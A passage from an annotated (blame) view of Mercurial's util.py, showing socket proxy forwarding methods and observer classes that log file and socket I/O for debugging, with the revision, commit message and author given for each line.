    def recvfrom(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   704
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   705
            r'recvfrom', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   706
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   707
    def recvfrom_into(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   708
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   709
            r'recvfrom_into', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   710
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   711
    def recv_into(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   712
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   713
            r'recv_info', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   714
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   715
    def send(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   716
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   717
            r'send', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   718
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   719
    def sendall(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   720
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   721
            r'sendall', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   722
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   723
    def sendto(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   724
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   725
            r'sendto', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   726
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   727
    def setblocking(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   728
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   729
            r'setblocking', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   730
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   731
    def settimeout(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   732
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   733
            r'settimeout', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   734
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   735
    def gettimeout(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   736
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   737
            r'gettimeout', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   738
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   739
    def setsockopt(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   740
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   741
            r'setsockopt', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   742
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   743
class baseproxyobserver(object):
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   744
    def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   745
        if not self.logdata:
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   746
            if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   747
                self.fh.write('\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   748
                self.fh.flush()
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   749
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   750
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   751
        # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   752
        if b'\n' not in data:
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   753
            if self.logdataapis:
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37124
diff changeset
   754
                self.fh.write(': %s\n' % stringutil.escapestr(data))
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   755
            else:
37087
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37086
diff changeset
   756
                self.fh.write('%s>     %s\n'
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37124
diff changeset
   757
                              % (self.name, stringutil.escapestr(data)))
36994
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36964
diff changeset
   758
            self.fh.flush()
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   759
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   760
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   761
        # Data with newlines is written to multiple lines.
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   762
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   763
            self.fh.write(':\n')
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   764
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   765
        lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   766
        for line in lines:
37087
f0b6fbea00cf stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37086
diff changeset
   767
            self.fh.write('%s>     %s\n'
37322
a67fd1fe5109 stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents: 37124
diff changeset
   768
                          % (self.name, stringutil.escapestr(line)))
36994
d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents: 36964
diff changeset
   769
        self.fh.flush()
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   770
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   771
class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   772
    """Logs file object activity."""
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   773
    def __init__(self, fh, name, reads=True, writes=True, logdata=False,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   774
                 logdataapis=True):
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   775
        self.fh = fh
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   776
        self.name = name
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   777
        self.logdata = logdata
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   778
        self.logdataapis = logdataapis
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   779
        self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   780
        self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   781
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   782
    def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   783
        if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   784
            return
36614
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36613
diff changeset
   785
        # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36613
diff changeset
   786
        if res is None:
26a6b62919e2 util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents: 36613
diff changeset
   787
            res = ''
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   788
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   789
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   790
            self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   791
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   792
        self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   793
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   794
    def readline(self, res, limit=-1):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   795
        if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   796
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   797
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   798
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   799
            self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   800
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   801
        self._writedata(res)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   802
36659
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   803
    def readinto(self, res, dest):
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   804
        if not self.reads:
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   805
            return
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   806
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   807
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   808
            self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   809
                                                      res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   810
36659
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   811
        data = dest[0:res] if res is not None else b''
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   812
        self._writedata(data)
29128309c52d util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36658
diff changeset
   813
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   814
    def write(self, res, data):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   815
        if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   816
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   817
36660
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36659
diff changeset
   818
        # Python 2 returns None from some write() calls. Python 3 (reasonably)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36659
diff changeset
   819
        # returns the integer bytes written.
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36659
diff changeset
   820
        if res is None and data:
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36659
diff changeset
   821
            res = len(data)
8395fddde46c util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36659
diff changeset
   822
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   823
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   824
            self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   825
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   826
        self._writedata(data)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   827
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   828
    def flush(self, res):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   829
        if not self.writes:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   830
            return
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   831
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   832
        self.fh.write('%s> flush() -> %r\n' % (self.name, res))
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   833
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   834
    # For observedbufferedinputpipe.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   835
    def bufferedread(self, res, size):
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   836
        if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   837
            return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   838
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   839
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   840
            self.fh.write('%s> bufferedread(%d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   841
                self.name, size, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   842
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   843
        self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   844
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   845
    def bufferedreadline(self, res):
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   846
        if not self.reads:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   847
            return
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   848
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   849
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   850
            self.fh.write('%s> bufferedreadline() -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   851
                self.name, len(res)))
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   852
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   853
        self._writedata(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   854
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   855
def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   856
                          logdata=False, logdataapis=True):
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   857
    """Turn a file object into a logging file object."""
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   858
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   859
    observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   860
                                  logdata=logdata, logdataapis=logdataapis)
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   861
    return fileobjectproxy(fh, observer)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   862
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   863
class socketobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   864
    """Logs socket activity."""
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   865
    def __init__(self, fh, name, reads=True, writes=True, states=True,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   866
                 logdata=False, logdataapis=True):
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   867
        self.fh = fh
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   868
        self.name = name
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   869
        self.reads = reads
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   870
        self.writes = writes
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   871
        self.states = states
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   872
        self.logdata = logdata
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   873
        self.logdataapis = logdataapis
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   874
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   875
    def makefile(self, res, mode=None, bufsize=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   876
        if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   877
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   878
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   879
        self.fh.write('%s> makefile(%r, %r)\n' % (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   880
            self.name, mode, bufsize))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   881
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   882
    def recv(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   883
        if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   884
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   885
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   886
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   887
            self.fh.write('%s> recv(%d, %d) -> %d' % (
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   888
                self.name, size, flags, len(res)))
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   889
        self._writedata(res)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   890
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   891
    def recvfrom(self, res, size, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   892
        if not self.reads:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   893
            return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   894
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   895
        if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   896
            self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
